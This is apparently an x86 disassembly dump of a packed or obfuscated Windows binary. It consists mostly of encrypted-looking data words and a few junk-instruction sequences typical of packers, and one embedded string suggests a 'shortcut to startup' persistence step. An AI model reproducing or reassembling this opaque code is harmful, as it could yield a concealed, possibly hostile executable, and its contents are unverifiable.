9C16BE44h dd 3DA25864h, 8B2370C1h, 0A80E23DBh, 0AA87795Bh, 151CE5F3h dd 0EF2DFC8h, 965492B5h, 812A62C8h, 0F64D9BCFh, 388F2504h dd 83A7426h, 366E6B6Ch, 0FE0ED52Ah, 0FF278E2Dh, 0D429BF25h dd 9B34B1BFh, 0E47CC960h, 0C13A467Eh, 0C1391B68h, 451E01Eh dd 0E5B9066Ch, 3B49E7F5h, 841C69C0h, 6EBB404Ch, 3C6F81D8h dd 5C26D08Eh, 1FE0EC24h, 2E3C512h, 0B40118CDh, 0F1FFB61Ch dd 3ED6230Eh, 8E945D06h, 51730D78h, 6354457Ch, 0FF000000h dd 0A7F435C6h, 0ACF920C5h, 2130C6FAh, 69B94FDAh, 614A9792h dd 75DF9D4Fh, 0B9F0A485h, 57639B4Fh, 723B88A9h, 0ABC09E6Ch dd 928BDABEh, 56436254h, 54928B72h, 8EC62CFAh, 7C42ECA6h dd 3CED45h, 0C6980000h, 0C5A7F435h, 33A8F53Ch, 1BE07785h dd 0B782C7C0h, 3CF30DD1h, 92CD6B4Fh, 0BF25F354h, 34C6D429h dd 0CA303EF5h, 0BD7E275Fh, 5491D3DEh, 0C4B745A7h, 457CFC1Ah dd 1FBh, 1FC6A600h, 94E150B0h, 674996FCh, 0A74C9998h, 31B48359h dd 3F6852E8h, 562916CDh, 0DE5176FCh, 2EED2BFh, 0A8765A79h dd 0F70CF542h, 8C1B16E9h, 5A7902A8h, 1E2A6230h, 6ABA50E1h dd 0D7E59C95h, 22BA072Ah, 0A28041EAh, 915A7902h, 45A98294h dd 7264505Dh, 0D160763Ah, 1D6D032Eh, 8A984FE2h, 0DC85BD74h dd 0DF2C05FAh, 76CD1B0Bh, 0DFF1A889h, 0CEAE73DEh, 0E2D40C5Eh dd 9B550CB6h, 0C13E4C40h, 6C63870h, 71000001h, 2343FB2Ch dd 0E2A3D369h, 230EF1A1h, 0B21906BDh, 0B251770Eh, 4AB597E4h dd 0FE0151E7h, 0FB04E633h, 1514F8E5h, 0CE9C5A79h, 57471B68h dd 0E44DB281h, 0BD78224Eh, 3359409Bh, 4000000h, 0E44DB1BFh dd 6CC206ACh, 6992A0B5h, 0A3DB73C0h, 91D3A4B8h, 91DEAC54h dd 91D3ECD0h, 885EBA54h, 0CE85EB1Fh, 91D3CDE1h, 7107D554h dd 985Fh, 0FB2CC200h, 96EDDA91h, 165176DBh, 7D839148h dd 97CF67B4h, 3EF30CEEh, 8AA758A8h, 0DE137C3Dh, 0DC8A5A78h dd 0D922300Eh, 0F30C1850h, 3F51A83Eh, 4FCA9F3Ah, 72B7434Dh dd 8CA55C0Ch, 0C96FA73Fh, 65772E9Eh, 5C036573h, 65CC341Dh dd 0E21A8018h, 0D709E2CFh, 0C3915765h, 0C66B9476h, 2937D479h dd 3FEA11D6h, 0A7F45AF2h, 0C513D70Fh, 8239A3D4h, 47A05F6Dh dd 0C31076B3h, 0C20F1AE1h, 0A18CC42Ah, 5D5215C8h, 0B6CB8250h dd 523BE5C9h, 0EBA96B66h, 8FA14D5Dh, 0E5D70FDDh, 0A4ADBF90h dd 8CE95810h, 0DA0DB3EBh, 4E503421h, 0AD85492h, 1CDFEDA4h dd 8569560Dh, 0D54924Eh, 0DFF4073Fh, 0B2FF2AD1h, 68C8661Ah dd 8B8649BCh, 5D8F6853h, 4917517Eh, 0FEE51AFCh, 191E2FDh dd 26DD43B1h, 19402411h, 0ACC85A7Eh, 869ECDEEh, 265EC4F6h dd 161BE434h, 0F90A08C9h, 0B93C7C7Ah, 90DD54ABh, 0EEFCC0F8h dd 0D289A857h, 0F9ECD0BDh, 0A6747C9Ch, 0D32C7C6Eh, 0D12F115Eh dd 0FD4ACF16h, 0D0B2FF65h, 0D4B6032Eh, 45BA072Ah, 0C93C4197h dd 462A172Ch, 0CE7C9CF9h, 0F604C800h, 0DA91A05Fh, 500FBCC8h dd 0E119093Bh, 0D1609FEFh, 3E084h, 58430000h, 0FB1EC613h dd 0FE33CCAEh, 0FF32CFB1h, 32ED0B2h, 227D4B6h, 128D3B5h dd 32ED2B4h, 811D4B6h, 821D9BBh db 0BBh, 6Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 1872h mov [esp], esi push 1A5h mov [esp], edx push 5EC3F18h mov esi, [esp] add esp, 4 push esp mov edx, [esp] add esp, 4 push 3E5Fh mov [esp], ecx mov ecx, 8 add ecx, edx mov [ecx], esi pop ecx push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_546C33 ; --------------------------------------------------------------------------- dw 930Dh dd 650B1DDEh, 0B8CEB652h, 5EC43D1h, 0E0FFC503h, 3A968212h dd 2FC1F9D6h, 23A701FAh, 2D8C1FF8h, 62326D1Ah, 353204D5h dd 0F66D279Eh, 114E8E10h, 117686A3h, 353212D7h, 0F66540E9h dd 0C1857A9Dh, 3558C7F1h, 3531EF6Dh, 6D12079Eh, 71BB5F8Ch dd 71B30383h, 352703F7h, 657207E9h, 0BFE97B37h, 0B48F84ADh dd 3537E031h, 88B10EEBh, 30D52F56h, 652B73A7h, 8DF28C80h dd 353203EAh, 314F827Dh, 0A8BF029Dh, 30DBB3AEh, 6D69D461h dd 1D2BBACCh, 41320240h, 8D6157C4h, 353203EAh, 314F827Dh dd 0A8BF029Dh, 30DBB6BFh, 6D69D461h, 0DD650725h, 353207A4h dd 6AF158F3h, 31167B60h, 31164375h, 35320761h, 56F1507Ah dd 98A4F025h, 0BE4E5244h, 803BFE6Dh, 30D52C02h, 1A77BA62h dd 46890213h, 0BE5E3377h, 63326DFDh, 35320476h, 0F66C274Fh dd 11468EF9h, 117686D7h, 353212EDh, 0F66441F4h, 0FEB94E6Bh dd 29EF8AB4h, 0D2B20279h, 0EDBE6189h, 17D986C1h, 0FAB961C4h dd 0B13D0341h, 35320377h, 35378A75h, 3A65073Dh, 0B669D929h dd 0D22E82F2h, 0B13D07A2h, 353207EFh, 0DD600783h, 353207F7h dd 6FF15D5Ah, 311653B4h, 3116431Fh, 35320755h, 78F155E5h dd 7621C96Bh, 33DAE44Ch, 0B13207F4h, 0E66581Ch, 0CA8D081Ch dd 3107EEC7h, 88B9074Fh, 30D5041Eh, 3515076Dh, 4C8F2CEBh dd 0B837E0E2h, 0DF5D28FFh, 66326D38h, 35320476h, 0F669274Fh dd 116E8EFCh, 117686D7h, 353210EDh, 0F66144F4h, 9F7AEB31h dd 30DBD7C2h, 2A32079Eh, 0C450D8E9h, 0B13DC722h, 35320709h dd 0DD650783h, 353207F7h, 6AF1585Ah, 31167BB4h, 3116431Fh dd 35320759h, 0EAF150E0h, 25DB49B9h, 763207E9h, 0D176CF29h dd 37F06A9Ch, 2ED0B7A1h, 8C57FCB4h, 1DC453F2h, 53653F26h dd 0B03DFC52h, 353207F8h, 4DB3610Dh, 3A30057Eh, 3531C0B9h dd 0BE8B619Eh, 0DB36115h, 0B03D673Bh, 353207A9h, 1EA7BADAh dd 4DB20213h, 0B03DEF78h, 35320757h, 0DD6107F4h, 3532074Ch dd 6EF15C87h, 31165B5Ah, 31164368h, 353207E8h, 0D0F15439h dd 0F2AA7F25h, 0CAE1E301h, 6FF1B41Eh, 353482A8h, 88B907D3h dd 30D52E70h, 334A8692h, 0B03DAC7Ah, 35320717h, 54DBCD15h dd 5F32074Ch, 36DA57A7h, 153207D3h, 0BC6AC4B1h, 0B43623B0h dd 2E36233Eh, 7532073Dh, 0D63C4CEh, 0A9C275Fh, 358C371Fh dd 5F7406D2h, 36DA50E9h, 153207F4h, 0BC6DC425h, 0B4362341h dd 2F3623DAh, 7232074Fh, 40DFC4F0h, 6D981609h, 0FF850867h dd 5A1D8279h, 0FDB90290h, 789D7C2h, 0B027D0B4h, 0E5B6088Fh dd 3A3207A5h, 35320158h, 44A78CE9h, 0B437E0DEh, 370F6142h dd 6EB7083Fh, 3A32079Eh, 4DB3D6F8h, 6A0F61A1h, 0E0B608A9h dd 5F3207EBh, 36DA51F4h, 1532077Ah, 0BC6CC463h, 0B43623EAh dd 2E36230Bh, 733207A7h, 3F46C485h, 0FB24D3C3h, 801B9295h dd 30D51003h, 352E8A32h, 25DA079Eh, 0EF32074Fh, 0BCDD6E90h dd 23DF5CB7h, 4B7F395Ch, 4F1D179h, 0D2174EEFh, 0B4545D38h dd 3A529BA6h, 35329ECAh, 64326DA7h, 3532043Bh, 0F66B27E9h dd 117E8EADh, 1176867Eh, 35321039h, 0F663469Eh, 820DD46Bh dd 0EED1061Ch, 3537EEC4h, 0CC7507E9h, 8E645C63h, 40E4EF48h dd 0DD307FBDh, 356E8291h, 0B803074Fh, 30D50386h, 334A86B5h dd 0B03DC7E9h, 353207BEh, 35321493h, 437BBF3Dh, 1FC49652h dd 0E304DC87h, 0A1B551A1h, 8641EC89h, 35301400h, 65326DF4h dd 35320492h, 0F66A273Dh, 11768EC6h, 1176864Bh, 35321DA3h dd 0F66247D3h, 27A5ADCFh, 55AA630Ch, 0BEF4B075h, 0D2330A88h dd 358C669Bh, 5F4C064Eh, 36DA57A7h, 153207D3h, 0BC6AC4B1h dd 0B43623B0h, 2C36233Eh, 7532073Dh, 0E682C4CEh, 1985D7C4h dd 0B0BFD116h, 30D868FCh, 35C7B2D8h, 0E5CD0213h, 0DD670710h dd 3532073Eh, 68F15ABEh, 31166BC6h, 31164326h, 353207C6h dd 89F152ACh, 0C7B36173h, 0F5B73338h, 346B8332h, 3558079Eh dd 3531EF18h, 6A1207A7h, 49BB5810h, 71B303CDh, 352703D0h dd 6275077Ah, 3E589DFEh, 0D2167A03h, 3FB2084Ah, 0DC3207A7h dd 353207D6h, 30C2C5h, 0DD0A87C4h, 35B58275h, 3558073Dh dd 3531EFCCh, 6F12074Fh, 61BB5D64h, 71B303F7h, 352A03CDh dd 677007F4h, 32C8D8B9h, 8C54C227h, 4DB27EB0h, 0B03D744Ah dd 353207FEh, 3532153Bh, 8EBD49E9h, 9FC32277h, 0AAE28442h dd 3CFD7A4Ah, 0BCDF9454h, 0D22BC2FAh, 4DB25DA2h, 0B13D54D4h dd 3532071Dh, 0DD67079Eh, 35320779h, 68F15A1Dh, 31166B17h dd 311643CEh, 353207BFh, 64F15296h, 0FDCA319Ch, 2F6B8A7Fh dd 0D7B3029Dh, 78E41D31h, 0E594DC27h, 0DB3612Bh, 0B03D0228h dd 35320758h, 0DD670783h, 353207F7h, 68F15A5Ah, 31166BB4h dd 3116431Fh, 35320756h, 16F152E2h, 7EBF625Fh, 3AE9B03Bh dd 35321075h, 24BA087Ah, 0DC32073Dh, 35320792h, 6DF11E5Fh dd 0C3CF4D36h, 0E79E81FDh, 5D347F69h, 357382FBh, 3DDB077Ah dd 4F32073Dh, 0B57F67AAh, 53CA6317h, 0CA397F26h, 1DB708F6h dd 0DC3207E9h, 353207A4h, 0DD670710h, 3532073Eh, 68F15ABEh dd 31166BC6h, 31164326h, 353207C6h, 1DF152ACh, 0A8B78E4Ch dd 1E37E062h, 66326DFDh, 35320476h, 0F669274Fh, 116E8EFCh dd 117686D7h, 353210EDh, 0F66144F4h, 5E4FBCEBh, 1B8F9AB4h dd 1DDB0279h, 0CD32074Fh, 3532061Fh, 64326DD3h, 35320401h dd 0F66B27F4h, 117E8E23h, 11768639h, 3532109Ah, 0F663464Fh dd 150BC704h, 65FC8CB5h, 35320801h, 29E34CF4h, 0BEDE9B84h dd 5362DA26h, 18BDD7CDh, 353217A6h, 1EA7A7A7h, 63B40F5Ah dd 8785A1EEh, 5CB605EEh, 31BB5EF4h, 0ACF88619h, 0B82AF1C9h dd 0D97654F2h, 4FBF8AA2h, 8D37EB99h, 425452CAh, 239B82F7h dd 0FA19029Dh, 64E358Ch, 57A75F4Ch, 7D336DAh, 0C4B11532h dd 23B0BC6Ah, 233EB436h, 833D2C36h, 0A4F305E9h, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 3EF7736Fh, 0A58D039Fh, 0BF05E716h, 6E011E4Ah, 1A59958Bh dd 9D8905E7h, 5E70A21h, 840FC00Bh, 5Ah, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 17h, 27C35040h, 6681E814h dd 9D89CE8Bh, 5E70AE1h, 4D24B58Dh, 950305E7h, 5E7329Dh dd 3B8h, 9DB58900h, 0FF05E71Ch, 0EE9E6h, 0F2280000h, 3B09EEFDh dd 0D810C084h, 0D6C40807h, 182D8589h, 0E94005E7h, 9, 52F28714h dd 0BEE167EDh, 0B5C08B10h, 81BD8390h, 5E70Ch, 0BD830975h dd 5E72819h, 50197400h, 0B8C08B53h, 403h, 17758589h, 9D8D05E7h dd 5E9B4FAh, 585BD3FFh, 2819BD83h, 740005E7h, 0B8535017h dd 403h, 17758589h, 9D8D05E7h, 5E9B19Bh, 585BD3FFh, 13059D89h dd 8BF805E7h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 201B1019h, 0B70F11C3h, 12E861F9h dd 52000000h, 0A38119AEh, 5736BAB4h, 593499E9h, 0AC1D99B0h dd 2DBD3153h, 5E05E72Bh, 329D8D8Bh, 0C68105E7h, 65CEh dd 21B98D29h, 426805E7h, 0B2000019h, 958B5BF7h, 5E7090Dh dd 0CA8136FFh, 77880A38h, 376AB95Fh, 0F78159A3h, 16CFBB4Fh dd 13E8h, 0FB515200h, 0DB57E85Ah, 6142A8C7h, 0C3240901h dd 2D0E5075h, 72A3F081h, 81582F32h, 81B177F7h dd 0ED85230Bh, 8105E72Ah, 44132DF7h, 81958B70h, 5705E717h dd 335850Bh, 68F05E7h, 0AE8h, 0D5808000h, 0CCAB84B4h, 29FE7DB4h dd 0E7258585h, 0EE835A05h, 68A0F01h, 8B000000h, 0E72EA18Dh dd 4E4E4E05h, 2EDDB531h, 0EB8305E7h, 75850F01h, 89FFFFFFh dd 0E728CD9Dh, 358D8D05h, 6A05EC4Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 6DA6C356h dd 1AA98D89h, 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 11B410C3h, 85C7D58Ah, 5E72A4Dh dd 74C8h, 1CDD8D89h, 0B53105E7h, 5E71351h, 273985C7h, 5E7h dd 0D38B0000h, 251B5FFh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 879B3FC3h, 9595FF03h dd 8905E717h, 0E72191BDh, 0BA665105h, 6A5A8418h, 0C195FF00h dd 8B05E721h, 112AEBC0h, 219D75EEh, 0B95670E1h, 56C7691Fh dd 0AF56FE96h, 23AA8A27h, 0E511EF21h, 9D6ACCE1h, 55EBA4F0h dd 884F14DCh, 0EB7AA82Fh, 7E853h, 980A0000h, 0C9DABD09h dd 59B58911h, 5A05E71Bh, 48F0Fh, 0BE660000h, 0C281A588h dd 5ADEh, 9E9h, 309C8200h, 5E02E430h, 8B6843A8h, 8B000016h dd 0E70609B5h, 5E95B05h, 0A3000000h, 0EA5501F5h, 0F7813A8Bh dd 6DA675D1h, 8155DD80h, 0EB6E62C7h, 0C981664Fh, 0EF8188A3h dd 6579BCA3h, 1905BD89h, 805705E7h, 28F29DDh, 2BB5BD89h dd 0EA8105E7h, 79458C6Fh, 6D5858Bh, 0C28105E7h, 79458C6Bh dd 16658D89h, 0EB8305E7h, 10850F01h, 89000000h, 0E71665B5h dd 1AE905h, 0B8240000h, 8B31B65Fh, 0E71AB5B5h, 0FF96E905h dd 5F24FFFFh, 0B50CA582h, 5F8F12ECh, 68536CEBh, 6374726Fh dd 74207475h, 7473206Fh, 75747261h, 70h, 13h dup(0) dd 6C370000h, 1040Bh, 21E90000h, 6800000Fh, 5EC508Fh, 0FBFAC4E9h dd 517768FFh, 0BAE905ECh, 68FFFBFAh, 5EC536Ch, 0FBFAB0E9h dd 53B068FFh, 0A6E905ECh, 68FFFBFAh, 5EC546Bh, 0FBFA9CE9h dd 54EA68FFh, 92E905ECh, 68FFFBFAh, 5EC58CDh, 0FBFA88E9h dd 5B1468FFh, 7EE905ECh, 68FFFBFAh, 5EC5C14h, 0FBFA74E9h dd 74C212FFh, 932132E6h, 0AF015105h, 0CA666D21h, 0E852883Ch dd 8965475Ah, 0A75BE953h, 0C47806B6h, 0DD911F8Dh, 8EAB398Bh dd 34A776AAh, 7355583Fh, 0B572656Dh, 3F349C81h, 5AAD6058h dd 9B475E5Dh, 0BCC53426h, 0AC92773Ch, 0E0B6B306h, 0C0AE3C8Eh dd 82E5F1D2h, 2AA8CF4Eh, 6A7A2D5Eh, 32255EAAh, 5C1C3386h dd 7BC91A92h, 9482C428h, 0C88F35BAh, 0A4B2DC50h, 732DFB12h dd 4E5BCC60h, 8796CA0Ch, 75584461h, 61B16CC2h, 0A0535844h dd 3E3BEE89h, 4460E53Ch, 0E3514958h, 2983CED6h, 0FABD5312h dd 94D6BEA6h, 0EBE85A8Ch, 698796ECh, 7D6E5844h, 0B0D3D2CFh dd 3EFCE6FDh, 6000000h, 399DE608h, 4C803B31h, 5E2B82D1h dd 302D8033h, 0A3E1A31h, 5BCCAA0Eh, 46565306h, 5A4DD004h dd 25AF5844h, 85848133h, 0D44D1B32h, 5A58445Ah, 6E04F462h dd 79BEA6CDh, 0F9h, 82342683h, 0FB9AF85h, 1C140212h, 3696DB57h dd 7B2A3A39h, 53F9F606h, 0ED045756h, 0AAA7194Bh, 0A23082D4h dd 0DF3E72B4h, 1D5E2AF2h, 0DD85536Ah, 1A5E2AF6h, 0FAE876C8h dd 5451E3F2h, 364B4555h, 73693520h, 59A8BA5Ch, 18CB7E10h dd 5C59ACD4h, 2B268668h, 32858481h, 8E5A9ACEh, 0A75A5BCBh dd 0E0A74719h, 64EF8E7Ch, 0BE3D283Ch, 0F797CBA7h, 0B55DAB3h dd 0F906F458h, 57C6FA0Ch, 0A55E1D48h, 8DAFE2F2h, 0B4699D01h dd 485E1CC3h, 9AA27E95h, 7E6CFA4Ch, 0D6D37976h, 0C81EC0D7h dd 0AF02AAA7h, 0CC25577Ch, 0CCB049C4h, 0C6Ah, 8917A1B5h dd 0A83682D5h, 0C452FCF4h, 0DF6DC310h, 0FD8B3D2Bh, 3E2C08EAh dd 1B4AFE8Ch, 6A671BA9h, 6E8034C2h, 4D314EDCh, 3F320419h dd 4016F858h, 0BCAF3026h, 0C1141310h, 0CF034533h, 5E2B824Eh dd 42E4FBAEh, 22109E10h, 5E75D71Ah, 9DE608B2h, 81B5F739h dd 5E2B829Ch, 0C896AD60h, 5BCCAA50h, 67C50A94h, 0C151714h dd 2258445Ah, 5ED0020Ah, 2D1D8B47h, 0BEA6CD97h, 0B4A2h dd 3426AC00h, 0B9AF8582h, 5210120Fh, 2F5E2B85h, 1F278B3Dh dd 0C1D0C2C9h, 5F0B4995h, 0F9100F0Ch, 9B2D3FF3h, 184C8E9Eh dd 5E2B2905h, 1EFF33F7h, 0DE5E2B29h, 1C1D82Bh, 0FE3296EDh dd 5BCC2CF6h, 0E3B543F6h, 0E4187C0Bh, 55DAD5BBh, 17A9BB45h dd 0FBF11B1Ah, 2555451h, 0F640969Eh, 14A6B468h, 0CC51BAE1h dd 1BFF98C4h, 0B82h, 71FF499Dh, 901EAABDh, 0AC3A94DCh dd 0C755FBF8h, 0E573C513h, 0C614F0D2h, 2332E674h, 24F0391h dd 76681CAAh, 351936C4h, 3F311C01h, 28FEE058h, 22863026h dd 80E6EB34h, 4C637B45h, 0EE409246h, 7B6A7260h, 0B6CDCCC9h dd 0AB34260Ah, 0B0A07B9h, 69ABBBB8h, 2B81E835h, 76A7DB5Eh dd 865E2B82h, 0E6FDB0D3h, 12A01244h, 71D5AE40h, 0CC99EB3Dh dd 7774275Bh, 446AAC75h, 0AC005158h, 3799D9AFh, 26949E3Ah dd 0B3B01C53h, 706861B4h, 1307F502h, 3E6BE8A7h, 0FB25F82Ch dd 24D75843h, 65FBBAD1h, 70BEA72Ch, 0Ch, 7F6187Ah, 767E0000h dd 12BED567h, 399DE608h, 0CC8AA305h, 0AFAC5F5Bh, 0F4295D9Fh dd 8584478h, 4A9C3E55h, 747C6AF8h, 938ABE7Dh, 71584479h dd 6F6E6BBEh, 7946D70Bh, 3B65844h, 0A6184AECh, 429199A9h dd 0DBF2F1EEh, 88983A0Dh, 6DDBAD33h, 0B8025860h, 3A5BCBBh dd 0B9FB5FD1h, 0F0CA0B1h, 5863BA10h, 0EEA1FB88h, 0CB1DD1D7h dd 7E6C7C79h, 0EE80D7ABh, 13E1F82Dh, 0FB880C0Dh, 23F664E2h dd 3DF17F31h, 9A9C992Bh, 3F3106DAh, 0C295030Dh, 0DC901E90h dd 0BE12618Ah, 747A6E6Bh, 0F9E02B3Ch, 6896F259h, 12E8E538h dd 757471C3h, 636BCF22h, 0EFC5C272h, 0E6FD50FCh, 475ED60Ah dd 0AF9DBE70h, 0D52F4558h, 0BD586F3Fh, 99BEC24Dh, 20731825h dd 2E62A492h, 0C5703BEFh, 92435A0Dh, 0E69D512Ch, 6A6E4E82h dd 4B8DC311h, 0CF0E0617h, 1943F6C0h, 0C76279C3h, 0A9A8B014h dd 7E6EEC03h, 0E2DEEDF0h, 4681FCFh, 5E5BE9FCh, 0F6EC4F5Fh dd 64CDF0BBh, 5B3D714Dh, 97188015h, 0FBF3E7E4h, 0CCF4288Ch dd 38151656h, 0CD7B6C74h, 0A27BD1D0h, 621AE9ADh, 0F0F85CAFh dd 545350FAh, 759613Dh, 617327B5h, 3AAB9CCFh, 0DC7507FFh dd 98DF8h, 0F4429200h, 13A1B266h, 2F81D185h, 4AE6EDA1h dd 68D208BCh, 9E5C7DAh, 27DB69D3h, 44F88636h, 5D119F0Dh dd 0E2BB90Bh, 2F27F62Ah, 0F3D5583Fh, 0F2E4EC1Dh, 55872940h dd 65ADB0E3h, 0C25BC4BDh, 949DEh, 3886D600h, 57E5F6AAh dd 73DD15C9h, 8E2231E5h, 0AC1E4C00h, 4D290B1Eh, 6B1FAD1Fh dd 883CCA7Ah, 0A155E349h, 526FFD4Fh, 2EE33A6Eh, 3F21583Fh dd 82342669h, 0FF337585h, 5E2B821Eh, 72142BDEh, 5644D264h dd 92A9034Eh, 0CC227FE1h, 271557BBh, 157803E3h, 9E6C833Ch dd 5BCCA01Eh, 75656B1Eh, 99AFB8E7h, 2B8FF8F6h, 308BE1E9h dd 0D10721FCh, 0DD30E399h, 0FCCAE1E0h, 9772349Ch, 3941A558h dd 9B9A9739h, 0D31B0F84h, 0EA3D8FDDh, 2F564486h, 0FFADA289h dd 556473EFh, 9050703Eh, 1B49A04h, 1535B9Dh, 0E24E85AFh dd 853729CBh, 9F1143F7h, 14785F6Ch, 0B4983189h, 88Eh, 65F35D91h dd 8412BEB1h, 0A02E80D0h, 0BB49E7ECh, 0D967D107h, 0D208E4C6h dd 3726DA68h, 0E43F785h, 0A5C109Eh, 290D2AB8h, 3F2E28F5h dd 24FADC58h, 85823426h, 7C0AA2AFh, 2B82619Ch, 0D7B03E5Eh dd 65EB8573h, 1D5A8B40h, 4AF62A06h, 0BA5BC6F6h, 499BA307h dd 0A3B569F7h, 6B95373Ah, 1579CC78h, 7C1FEF27h, 6A7D9E42h dd 0FF748BDEh, 8C893329h, 0DE11BBB6h, 0CAA96C0Fh, 0FD8BC55h dd 10000008h, 30E472DCh, 4F03913Fh, 6B1FAD03h, 863AC864h dd 4558E650h, 0E7518763h, 4B0A559h, 1D8FC276h, 3789DB8Fh dd 74A88CA9h, 583F2EA9h, 26A3795Bh, 75858234h, 0CFCC786Dh dd 0C517B9D0h, 0E7210F73h, 929E8451h, 0A284F910h, 0F1E3B624h dd 4AE0B13Fh, 55B8C073h, 4D8h, 0ECE4EC5Fh, 836B2B42h, 565EA004h dd 0CC9AB11Bh, 5BC7CC74h, 77B91DD0h, 341C0135h, 56E0583Fh dd 0B5B4B11Bh, 0B7A94B62h, 4AA57705h, 0A63C3E3Bh, 0E3215B9Fh dd 6F4542F2h, 95CDCA62h, 605955C3h, 0E5EDFA68h, 6A2940ECh dd 353FFAD4h, 0A677ABEDh, 4FE1AB68h, 38DB01Ch, 0F40B5ECEh dd 390Ah, 8EDCE400h, 29403F3Ch, 0EFE4EC7Dh, 856A2A41h dd 0B36A9E02h, 515E2B82h, 3E9FA19Eh, 687E4CE0h, 0EDF50270h dd 504F4CF8h, 3AE47A39h, 7EFD927h, 0F9000000h, 1E718h dd 0E608AE00h, 0A305399Dh, 1E5BC7CBh, 7875C716h, 14C76279h dd 340B1517h, 3713583Fh, 6D16D8C9h, 5185C709h, 583F34CCh dd 98667D30h, 55DB7E10h, 0FFB341F4h, 8C625FE9h, 75C7155Eh dd 1BED2522h, 3A8CDAADh, 57E5F8ACh, 0B4A9B1F3h, 0B60C0B08h dd 5E2B8267h, 56CBE295h, 0E2DF6D80h, 976AD8AAh, 8868F646h dd 5E2B828Fh, 17A5074Ah, 7CD02129h, 0C769807Fh, 46262395h dd 38A0E708h, 52862538h, 5E2B82CBh, 2D338639h, 60C87469h dd 0AEA2A451h, 0A5BA5040h, 0A5C5B8BFh, 0CF000003h, 89863026h dd 5C8842A4h, 0DFB70A6Eh dd 0C238B81h, 0D90FE250h, 0D0030B6Fh, 95373A64h, 7C829998h dd 0C02892C8h, 0BB1FADC0h, 0F70EBEB3h, 9BDA1717h, 0FFFEFB4Dh dd 86D9AFACh, 0DD5B3D3Ah, 0B626736Fh, 0F30ABCAEh, 0E0F6C937h dd 4A525056h, 0A9A8A507h, 820C1145h, 3DF05E2Bh, 0E0528426h dd 823FE1E3h, 3DF5E2Bh, 1E90C295h, 3795DC90h, 2686CBD3h dd 88989A0Fh, 7E5E2B82h, 195B68D6h, 2B8238E5h, 219CC5Eh dd 57BB1160h, 95AC004Fh, 8E4AAF8Fh, 0D31A5E2Bh, 0B8BFE53Eh dd 0FFFF3F47h, 0AAEC51FFh, 2B82A776h, 8BA2555Eh, 0B745F7E9h dd 625FD103h, 2B82C060h, 1684605Eh, 3B9F1143h, 8258C5F9h dd 0F9AC5E2Bh, 3228DCE2h, 5C1B87CBh, 0E6399C67h, 731DE7E9h dd 4F478E57h, 0B65BF1E1h, 69668932h, 70000000h, 0A776AAECh dd 555E2B82h, 23CB8BA2h, 96E95B8Dh, 0CBAAFE32h, 21295BC7h dd 0CD687FD1h, 50D1D1Ah, 7F4D64D0h, 583F349Dh, 31218F87h dd 0BEAC2D9Bh, 1FA6h, 0E4ECB000h, 5F2D44F6h, 5E2B87EEh dd 0FE3C86BEh, 0E4ECFFFFh, 454441EFh, 1518822Eh, 0AE000000h dd 41EFE4ECh, 2627A2Ah, 0F2E00000h, 0DD1921F4h, 88344B12h dd 85823426h, 7D0BBDAFh, 0E04443ABh, 0CC8DF4ACh, 0F95D105Bh dd 0F7A3200Bh, 849BA509h, 58140D0Fh, 21A5844h, 58918CC0h dd 0E9735844h, 0E0F74AF6h, 30C6B624h, 3BBEA703h, 44h, 76AAEC45h dd 5E2B82A7h, 0CB8BA255h, 12006423h, 5D182533h, 0D8B4CB83h dd 0CBEF74A4h, 36272F5Bh, 21D46F86h, 0EEFF2224h, 172F5843h dd 576EDE0Fh, 18202D9Bh, 7D7C79C7h, 3811A766h, 0C41CBEA7h dd 26000000h, 85823426h, 0AB0FB9AFh, 9267D9BDh, 465D094Bh dd 57E9FBD1h, 952845Ah, 0FD2054D7h, 0FF5E2B0Ah, 0FDFCF94Ch dd 363385D3h, 6856E437h, 0B2BF226h, 26D95E2Bh, 0E21410Fh dd 36245E2Bh, 9D370F62h, 4EF0070Bh, 4A1CAA1Ch, 4B7FE3A4h dd 5BC1F7D6h, 4D70FFEDh, 14C480B7h, 4BAF62FDh, 3FA31543h dd 0AC0FFDh, 0CC13D87Bh, 4226A776h, 8BA25558h, 21559785h dd 584225FCh, 94364D00h, 0E8C1F446h, 0CACAA6C1h, 42C4D31h dd 0E3F30000h, 0C013C755h, 3E32E674h, 14E0290h, 73691DABh dd 46283BC9h, 3CCA7C6Ah, 59E75588h, 7200ACA5h, 8C1AACBEh dd 0C6578B6Fh, 36583F2Ah, 30267E54h, 1244F886h, 265412A0h dd 0CB8AB34h, 0C0BD100Fh, 0B846F8EAh, 1B7F08E6h, 0CCAC4DE7h dd 0B61ACD5Bh, 0F84823C8h, 93C4B60Dh, 0D6292825h, 0D7484ABFh dd 165843DEh, 151D2A98h, 757471C3h, 37509E5Eh, 4A8991D3h dd 0D3EAE9E6h, 0E5092F05h, 0B543B355h, 0AFA97A88h, 9684E83Bh dd 6C3D59A8h, 0E7ED04F1h, 46AAD915h, 0C6EE2E12h, 0FF63165Bh dd 0C755FBF7h, 3EF240E7h, 18B4BD58h, 62C88Ah, 0FA5E0000h dd 5E2B8227h, 0C04E35B8h, 6D6AC40Ch, 2B82B26Bh, 39A7595Eh dd 0E076A66h, 0D685DD80h, 0BFA9E55Eh, 18D59FAFh, 2B2339E4h dd 0C518CB5Eh, 0B4F6E472h, 2B239D80h, 33EA1E5Eh, 0D15E2B23h dd 3148FB1Eh, 0C013428Fh, 25787774h, 22FA2628h, 640C5E2Bh dd 7E2E23F6h, 79A4D81Ah, 8B5E2B23h, 0FDBBC1D8h, 84812B26h dd 0E796C74h, 0E9BC006Fh, 2F2C7F94h, 7A771930h, 55F3D5D2h dd 10F01F4Dh, 3219F943h, 403F3C8Fh, 2CFF6D29h, 19F98725h dd 5E2B7382h, 0E76AFF46h, 6473B8BFh, 7DFFFFFFh, 1ACDFEECh dd 6CE53A1Ah, 0FA1B355h, 982A3C12h, 0CDB6380Ah, 336B3569h dd 0E4975BCCh, 0D6787880h, 0D9484ABFh, 2458442Bh, 0B1878436h dd 